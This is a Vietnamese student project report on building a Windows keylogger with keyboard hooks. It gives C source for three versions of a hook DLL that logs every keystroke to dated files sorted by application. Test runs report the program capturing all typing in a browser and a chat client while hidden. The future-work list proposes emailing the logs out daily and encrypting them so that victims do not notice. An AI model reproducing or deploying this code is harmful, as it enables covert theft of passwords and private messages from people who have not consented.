Đồ án Phần mềm Keyloger sử dụng Hook Windows
MỤC LỤC
T ỔNG QUAN VỀ ĐỀ TÀI. 5
Chương 1. CƠ SỞ LÝ THUYẾT. 6
I. Giới thiệu. 6
II. Thông Điệp và HÀNG ĐỢI THÔNG ĐIỆP CỦA WINDOWS . 6
II.1. Giới thiệu. 6
II.1.1. Thông đi ệp windows . 6
II.1.2. Lo ại Thông điệp . 7
II.1.3. Lộ trình thông đi ệp . 10
II.1.4. Xử lý thông điệp . 12
II.1.5. Lọc thông điệp . 16
II.1.6. Đăng và chuyển thông điệp . 16
II.1.7. Bế tắc thông điệp . 18
II.1.8. Thông đi ệp quảng bá . 19
II.1.9. Truy vấn thông điệp . 20
II.2. Sử dụng thông điệp và hàng đợi thông điệp . 21
II.2.1. T ạo vòng lặp thông điệp . 21
II.2.2. Kiểm tra một hàng đ ợi thông điệp . 24
II.2.3. Đăng thông đi ệp . 25
II.2.4. Gửi một thông đi ệp . 26
III. k ỹ thu ật hook . 28
III.1. Giới thiệu . 28
III.2. Chuỗi Hook . 29
III.2.1. Thủ tục Hook. 29
III.2.2. Các kiểu Hook . 29
III.3. Cách s ử dụng . 31
III.3.1. Cài đ ặt Hook . 31
III.3.2. Giải phóng Hook . 31
IV. win 32 api . 32
IV.1. Giới thiệu . 32
IV.2. Các hàm thườ ng dùng . 32
4 Bộ môn Mạng và Truyền Thông
IV.2.1. SetWindowsHookEx . 32
IV.2.2. UnhookWindowsHookEx . 33
IV.2.3. CallNextHookEx. 33
IV.2.4. LowLevelKeyboardProc . 34
IV.2.5. GetKeyState . 35
IV.2.6. GetKeyboardState . 35
IV.2.7. ToAscii . 35
IV.2.8. LoadLibrary. 36
IV.2.9. GetProcAddress . 36
IV.2.10. OpenProcess . 36
IV.2.11. EnumProcessModules . 37
IV.2.12. GetModuleBaseName. 37
IV.2.13. GetForegroundWindow. 38
IV.2.14. GetWindowThreadProcessId . 38
IV.2.15. GetLocalTime . 39
IV.3. Mã bàn phím ảo . 39
Chương 2. PHÂN TÍCH VÀ XÂY DỰNG CHƯƠNG TRÌNH. 47
I. PHân tích yêu c ầu . 47
I.1. Yêu c ầu v ề chức năng . 47
I.2. Yêu c ầu v ề giao diện người dùng . 47
I.3. Yêu c ầu v ề tương thích . 47
II. phân tích chức năng. 47
III. xây dựng chức năng . 47
III.1. T ập tin thi hành Jaam.exe . 47
III.2. Thư viện Hooker.dll . 49
III.2.1. Phiên bản 1 . 49
III.2.2. Phiên bản 2 . 51
III.2.3. Phiên bản 3 . 53
Chương 3. TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ. 57
I. Môi trường triển khai. 57
II. Kết qu ả chức nĂng chương trình . 57
III. Đánh giá và nh ận xét . 58
}
void WriteEnterToFile()
{
out=fopen("d:\\key.txt","a");
fprintf(out,"\n");
fclose(out);
}
BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */
,
DWORD reason /* Reason this function is
being called. */ ,
LPVOID reserved /* Not used. */ )
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
KeyLogger-Sử dụng Hook Windows 51
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ
/* Returns TRUE on success, FALSE on failure */
return TRUE;
}
III.2.2. Phiên bản 2
#include
#include
#include
#include
#include
#pragma data_seg(".SHARDAT")
HHOOK hGlobalHook = NULL;
FILE *out;
#pragma data_seg()
void WriteStringToFile(char *txt);
void WriteEnterToFile();
extern "C" __declspec (dllexport) LRESULT CALLBACK LogKeyboard(int nCode,
WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION && wParam == WM_KEYDOWN)
{
bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true
: false);
bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true :
false);
bool isDownCtrl = ((GetKeyState(VK_CONTROL) & 0x80) == 0x80 ?
true : false);
byte keyState[256];
GetKeyboardState(keyState);
WORD w;
KBDLLHOOKSTRUCT* keycode = (KBDLLHOOKSTRUCT*)lParam;
if (keycode->vkCode == VK_RETURN) { WriteStringToFile("{Enter}");
WriteEnterToFile(); }
if (keycode->vkCode == VK_BACK) WriteStringToFile("{Backspace}");
if (keycode->vkCode == VK_DELETE) WriteStringToFile("{Delete}");
if (keycode->vkCode == VK_HOME) WriteStringToFile("{Home}");
if (keycode->vkCode == VK_END) WriteStringToFile("{End}");
if (keycode->vkCode == VK_LEFT) WriteStringToFile("{Left}");
if (keycode->vkCode == VK_RIGHT) WriteStringToFile("{Right}");
if (keycode->vkCode == VK_UP) WriteStringToFile("{Up}");
if (keycode->vkCode == VK_DOWN) WriteStringToFile("{Down}");
else if (ToAscii(keycode->vkCode,
keycode->scanCode,
keyState,
&w,
keycode->flags) == 1)
{
char key = (char)w;
if ((isDownCapslock ^ isDownShift) && ((key >= 65 && key <=
90) || (key >= 97 && key <= 122 )))
{
52 Bộ môn Mạng và Truyền Thông
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ
key = toupper(key);
}
if (isDownCtrl) {
char str[100];
sprintf(str,"{Ctrl - %c}",(char)keycode->vkCode);
WriteStringToFile(str);}
else {
char str[100];
sprintf(str,"%c",key);
WriteStringToFile(str);}
}
}
return CallNextHookEx( hGlobalHook, nCode, wParam, lParam );
}
extern "C" __declspec (dllexport) void SetGlobalHook(HHOOK hHook)
{
hGlobalHook = hHook;
}
void WriteStringToFile(char* txt)
{
// File name by Time
SYSTEMTIME st;
GetLocalTime(&st);
char str[100];
sprintf(str,"d:\\key-%d_%d_%d.txt",st.wYear,st.wMonth,st.wDay);
out=fopen(str,"a");
fprintf(out,"%s",txt);
fclose(out);
}
void WriteEnterToFile()
{
// File name by Time
SYSTEMTIME st;
GetLocalTime(&st);
char str[100];
sprintf(str,"d:\\key-%d_%d_%d.txt",st.wYear,st.wMonth,st.wDay);
out=fopen(str,"a");
fprintf(out,"\n");
fclose(out);
}
BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */
,
DWORD reason /* Reason this function is
being called. */ ,
LPVOID reserved /* Not used. */ )
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
KeyLogger-Sử dụng Hook Windows 53
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
/* Returns TRUE on success, FALSE on failure */
return TRUE;
}
III.2.3. Phiên bản 3
// dllmain.cpp : Defines the entry point for the DLL application.
#include
#include
#include
#include
#include
#include
#include
#include
#pragma data_seg(".SHARDAT")
HHOOK hGlobalHook = NULL;
FILE *out;
#pragma data_seg()
int PrintModules( DWORD processID );
void WriteStringToFile(char *txt);
void WriteEnterToFile();
LRESULT CALLBACK LogKeyboard(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION && wParam == WM_KEYDOWN)
{
bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true
: false);
bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true :
false);
bool isDownCtrl = ((GetKeyState(VK_CONTROL) & 0x80) == 0x80 ?
true : false);
byte keyState[256];
GetKeyboardState(keyState);
WORD w;
KBDLLHOOKSTRUCT* keycode = (KBDLLHOOKSTRUCT*)lParam;
if (keycode->vkCode == VK_RETURN) { WriteStringToFile("{Enter}");
WriteEnterToFile(); }
if (keycode->vkCode == VK_BACK) WriteStringToFile("{Backspace}");
if (keycode->vkCode == VK_DELETE) WriteStringToFile("{Delete}");
if (keycode->vkCode == VK_HOME) WriteStringToFile("{Home}");
if (keycode->vkCode == VK_END) WriteStringToFile("{End}");
if (keycode->vkCode == VK_LEFT) WriteStringToFile("{Left}");
if (keycode->vkCode == VK_RIGHT) WriteStringToFile("{Right}");
if (keycode->vkCode == VK_UP) WriteStringToFile("{Up}");
if (keycode->vkCode == VK_DOWN) WriteStringToFile("{Down}");
54 Bộ môn Mạng và Truyền Thông
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ
else if (ToAscii(keycode->vkCode,
keycode->scanCode,
keyState,
&w,
keycode->flags) == 1)
{
char key = (char)w;
if ((isDownCapslock ^ isDownShift) && ((key >= 65 && key <=
90) || (key >= 97 && key <= 122 )))
{
key = toupper(key);
}
if (isDownCtrl) {
char str[100];
sprintf(str,"{Ctrl - %c}",(char)keycode->vkCode);
WriteStringToFile(str);}
else {
char str[100];
sprintf(str,"%c",key);
WriteStringToFile(str);}
}
}
return CallNextHookEx( hGlobalHook, nCode, wParam, lParam );
}
void SetGlobalHook(HHOOK hHook)
{
hGlobalHook = hHook;
}
char* GetExecutor( DWORD processID )
{
HMODULE hMods[1024];
HANDLE hProcess;
DWORD cbNeeded;
unsigned int i;
char* result = (char*)malloc( 1000 );;
// Get a handle to the process.
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID );
if (NULL == hProcess)
return "";
// Get a list of all the modules in this process.
if( EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
{
for ( i = 0; i < (cbNeeded / sizeof(HMODULE)); i++ )
{
TCHAR szModName[MAX_PATH];
// Get the full path to the module's file.
if ( GetModuleBaseName( hProcess, hMods[i], szModName,
KeyLogger-Sử dụng Hook Windows 55
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ
sizeof(szModName) / sizeof(TCHAR)))
{
// Print the module name and handle value.
TCHAR* prcName = szModName;
wcstombs( result, szModName, 1000 );
}
break;
}
}
// Release the handle to the process.
CloseHandle( hProcess );
return result;
}
void WriteStringToFile(char* txt)
{
// File name by Time and App
// Curren Time
SYSTEMTIME st;
GetLocalTime(&st);
// Current App
HWND curhwndWindow = GetForegroundWindow();
DWORD processID;
GetWindowThreadProcessId(curhwndWindow, &processID);
char str[100];
sprintf(str,"d:\\key-%d_%d_%d-%s.txt",st.wYear,st.wMonth,st.wDay,
GetExecutor(processID));
out=fopen(str,"a");
fprintf(out,"%s",txt);
fclose(out);
}
void WriteEnterToFile()
{
// File name by Time and App
// Curren Time
SYSTEMTIME st;
GetLocalTime(&st);
// Current App
HWND curhwndWindow = GetForegroundWindow();
DWORD processID;
GetWindowThreadProcessId(curhwndWindow, &processID);
char str[100];
sprintf(str,"d:\\key-%d_%d_%d-%s.txt",st.wYear,st.wMonth,st.wDay,
GetExecutor(processID));
out=fopen(str,"a");
fprintf(out,"\n");
fclose(out);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
56 Bộ môn Mạng và Truyền Thông
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
KeyLogger-Sử dụng Hook Windows 57
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ
Chương 3. TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ
I. MÔI TRƯỜNG TRIỂN KHAI
Phần mềm được triển khai chạy thử trên các phiên bản của Win7.
II. KẾT QUẢ CHỨC NĂNG CHƯƠNG TRÌNH
Kết quả khi chạy chương trình phiên bản 3.
Hình 1 – Chương trình Jaam.exe chạy ngầm
Hình 2 – Sử dụng Trình duyệt Firefox
Hình 3 – Sử dụng chương trinh chat Windows Live
58 Bộ môn Mạng và Truyền Thông
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ
Hình 4 – Kết quả ghi được từ chương trình
Hình 5 – Nội dung một tập tin log
III. ĐÁNH GIÁ VÀ NHẬN XÉT
Sau khi triển khai chạy thử ứng dụng, nhóm tác giả rút ra các nhận xét đánh
giá sau :
- Chương trình không làm tăng đáng kể thời gian hiển thị phím bấm.
- Chương trình ghi lại được 100% thao tác phím
- Các tập tin ghi lại theo ngày và ứng dụng mà người sử dụng gõ phím thông
tin chính xác 100%.
- Vẫn còn ký tự lạ trong bản log. Nguyên nhân là do các ký tự Unicode được
trả về từ chương trình Unikey.
KeyLogger-Sử dụng Hook Windows 59
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ
KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN
1. Những kết quả đạt được
Chương trình ghi lại 100% thao tác phím
Các tập tin ghi lại theo ngày và tên ứng dụng mà người dùng gõ phím thông
tin chính xác 100%
2. Những vấn đề tồn tại
Có các tự lạ trong bản Log. Nguyên nhân tìm hiểu được là do các ký tự
Unicode do chương trinh Unicode gửi đến
3. Hướng phát triển
Cho phép hiển thị Unicode trong bản log
Tích hợp gủi mail cho chương trình để tự động gửi các bản log về sau 1
ngày.
Mã hóa các tập tin log để người sử dụng không biết được là đang bị theo dõi.
60 Bộ môn Mạng và Truyền Thông
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ
TÀI LIỆU THAM KHẢO
[1]
[2]
File đính kèm:
Đồ án Phần mềm Keyloger sử dụng Hook Windows.pdf

